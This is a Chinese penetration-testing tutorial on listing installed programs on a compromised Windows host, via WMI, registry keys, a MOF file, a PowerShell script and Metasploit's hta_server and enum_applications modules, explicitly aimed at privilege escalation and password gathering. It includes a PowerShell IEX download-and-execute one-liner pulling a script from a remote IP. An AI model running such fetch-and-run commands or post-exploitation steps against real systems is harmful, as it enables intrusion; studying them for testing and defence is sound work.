获取主机已安装程序的多种方式

简介: 获取主机已安装程序的多种方式

0x01 前言

这篇文章我们主要讲的是获取主机已安装程序的多种方式,通过获取的软件及版本信息可用于权限提升、搜集密码等。因为有的方式获取不完整或者可能被安全防护软件拦截,所有我测试了多个方法,以备不时之需。


0x02 通过控制面板查看安装程序

我们先去控制面板看下总共安装了多少程序,开始菜单 -> 控制面板 -> 程序 -> 程序和功能,也可以在命令行下直接输入appwiz.cpl打开程序和功能查看。

0x03 通过WMI获取安装程序列表

WMI查询Win32_Product这种方式获取的已安装程序列表并不完整,因为这种方只能获取那些通过Windows Installer安装的程序,所以其它方式安装的程序就会无法获取。

    wmic product get name,version
    wmic /namespace:\\root\cimv2 path win32_product get name,version
    Get-WmiObject -Class win32_product | Select-Object -Property name,version


    通过这种方式查询已安装程序不仅很慢、而且不完整,还会产生大量应用程序日志,事件ID为:1035,所以并不推荐使用这种方式。


    0x04 通过注册表获取安装程序列表

    这种方式一般都是通过读取以下4个注册表项中的子健来获取主机上的已安装程序,每个子健代表一个已安装的程序,对应的是控制面板的程序和功能程序列表,Wow6432Node为32位。

      HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
      HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
      HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall
      HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall


      (1) mofcomp

      Mofcomp.exe是系统自带的一个工具,用来编译mof文件,并将mof文件中的信息添加到WMI数据库中,可以用WMI Explorer工具来查看WMI支持的各种类。


      所以我们可以直接通过Mofcomp.exe执行SampleProductsList.mof文件将读取到的注册表项中的子健结果添加进VMI数据库中,然后再用WMIC命令查询即可。

        mofcomp.exe C:\ProgramData\SampleProductsList.mof
        wmic /namespace:"\\root\default" path sampleproductslist get displayname,displayversion
        wmic /namespace:"\\root\default" path sampleproductslist32 get displayname,displayversion
        

        SampleProductsList.mof

          // "AS-IS" sample MOF file for returning the two uninstall registry subkeys
          // Unsupported, provided purely as a sample
          // Requires compilation. Example: mofcomp.exe sampleproductslist.mof
          // Implements sample classes: "SampleProductList" and "SampleProductlist32"
          // (for 64-bit systems with 32-bit software)
          #PRAGMA AUTORECOVER
          [dynamic, provider("RegProv"),
          ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]
          class SampleProductsList {
          [key] string KeyName;
          [read, propertycontext("DisplayName")] string DisplayName;
          [read, propertycontext("DisplayVersion")] string DisplayVersion;
          };
          [dynamic, provider("RegProv"),
          ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432node\\Microsoft\\Windows\\CurrentVersion\\Uninstall")]
          class SampleProductsList32 {
          [key] string KeyName;
          [read, propertycontext("DisplayName")] string DisplayName;
          [read, propertycontext("DisplayVersion")] string DisplayVersion;
          };


          (2) Powershell

          这个Powershell脚本是@3gstudent师傅写的,也是通过读取几个注册表项来获取主机上的已安装程序,加了个判断系统位数,自动判断注册表重定向,但这种方式在执行时肯定会被某数字防护拦截。

            powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.103:8888/ListInstalledPrograms.ps1'); ListPrograms


            ListInstalledPrograms.ps1

              <#
              .SYNOPSIS
              This script can be used to list the programs that the current Windows system has installed.
              Supprot x86 and x64 
              Author: 3gstudent@3gstudent
              License: BSD 3-Clause
              #>
              Function ListPrograms
              {  
              param($RegPath)  
              $QueryPath = dir $RegPath -Name
              foreach($Name in $QueryPath)
              {
              (Get-ItemProperty -Path $RegPath$Name).DisplayName
              #        (Get-ItemProperty -Path $RegPath$Name).Publisher
              #        (Get-ItemProperty -Path $RegPath$Name).DisplayVersion
              }
              } 
              if ([IntPtr]::Size -eq 8)
              {
              Write-Host "[*] OS: x64"
              Write-Host "[*] List the 64 bit programs that have been installed"
              $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
              ListPrograms -RegPath $RegPath
              Write-Host "[+] List the 32 bit programs that have been installed"
              $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\"
              ListPrograms -RegPath $RegPath
              }
              else
              {
              Write-Host "[*] OS: x86"
              Write-Host "[*] List the 32 bit programs that have been installed"
              $RegPath = "Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
              ListPrograms -RegPath $RegPath
              }


              (3) Metasploit

              首先利用hta_server模块获取一个会话,然后再用enum_applications模块获取主机上已安装的应用程序及其版本列表,虽然也能在会话中用run get_application_list获取,但并不完整。

                msf5 exploit(windows/misc/hta_server) > use post/windows/gather/enum_applications
                msf5 post(windows/gather/enum_applications) > set session 1
                msf5 post(windows/gather/enum_applications) > exploit
                meterpreter > run get_application_list


                这是因为get_application_list这个脚本只读取x64的已安装应用程序列表,所以会少一些,而enum_applications这个模块同时读取x64和x32的已安装应用程序列表,所以比较完整。


                参考链接:

                https://3gstudent.github.io/渗透基础-获得当前系统已安装的程序列表
                https://docs.microsoft.com/zh-cn/windows/win32/msi/windows-installer-portal
                https://docs.microsoft.com/en-us/archive/blogs/askds/how-to-not-use-win32_product-in-group-policy-filtering
                相关文章
                |
                8月前
                |
                Windows
                WIN7 安装使用远程服务器管理工具-如DHCP、AD域、HyperV、远程桌面
                WIN7 安装使用远程服务器管理工具-如DHCP、AD域、HyperV、远程桌面
                69 0
                |
                9月前
                |
                Ubuntu 网络协议 Linux
                win10远程桌面控制Ubuntu服务器 - 内网穿透实现公网远程
                win10远程桌面控制Ubuntu服务器 - 内网穿透实现公网远程
                244 0
                |
                9月前
                |
                分布式计算 Hadoop Linux
                虚拟机安装(安装(克隆)虚拟机 配置网络 安装Centos7 配置(修改)虚拟机的静态IP 修改网卡的配置文件 测试网络是否互通外部工具 连接linux系统 设置服务器时间 修改主机名)(上)
                虚拟机安装(安装(克隆)虚拟机 配置网络 安装Centos7 配置(修改)虚拟机的静态IP 修改网卡的配置文件 测试网络是否互通外部工具 连接linux系统 设置服务器时间 修改主机名)
                286 0
                |
                9月前
                |
                存储 Linux Shell
                虚拟机安装(安装(克隆)虚拟机 配置网络 安装Centos7 配置(修改)虚拟机的静态IP 修改网卡的配置文件 测试网络是否互通外部工具 连接linux系统 设置服务器时间 修改主机名)(下)
                虚拟机安装(安装(克隆)虚拟机 配置网络 安装Centos7 配置(修改)虚拟机的静态IP 修改网卡的配置文件 测试网络是否互通外部工具 连接linux系统 设置服务器时间 修改主机名)
                370 0
                关于 虚拟机交叉编译目标机程序,使用filezilla的ftp方式传输到板子上没问题,后来同样环境传入应用运行宕机 的解决方法
                关于 虚拟机交叉编译目标机程序,使用filezilla的ftp方式传输到板子上没问题,后来同样环境传入应用运行宕机 的解决方法
                关于 虚拟机交叉编译目标机程序,使用filezilla的ftp方式传输到板子上没问题,后来同样环境传入应用运行宕机 的解决方法
                |
                Java Windows 应用服务中间件
                Confluence 6 Windows 中以服务方式自动重启为服务手动安装 Confluence 分发包
                在 Windows: 打开一个命令输入框,然后修改目录到 /bin 目录中。 你需要以管理员权限运行这个命令行输入框(Run as administrator),这样你才能够完成下面的步骤: 使用下面的命令来确定 ...
                1253 0
                |
                数据安全/隐私保护 Windows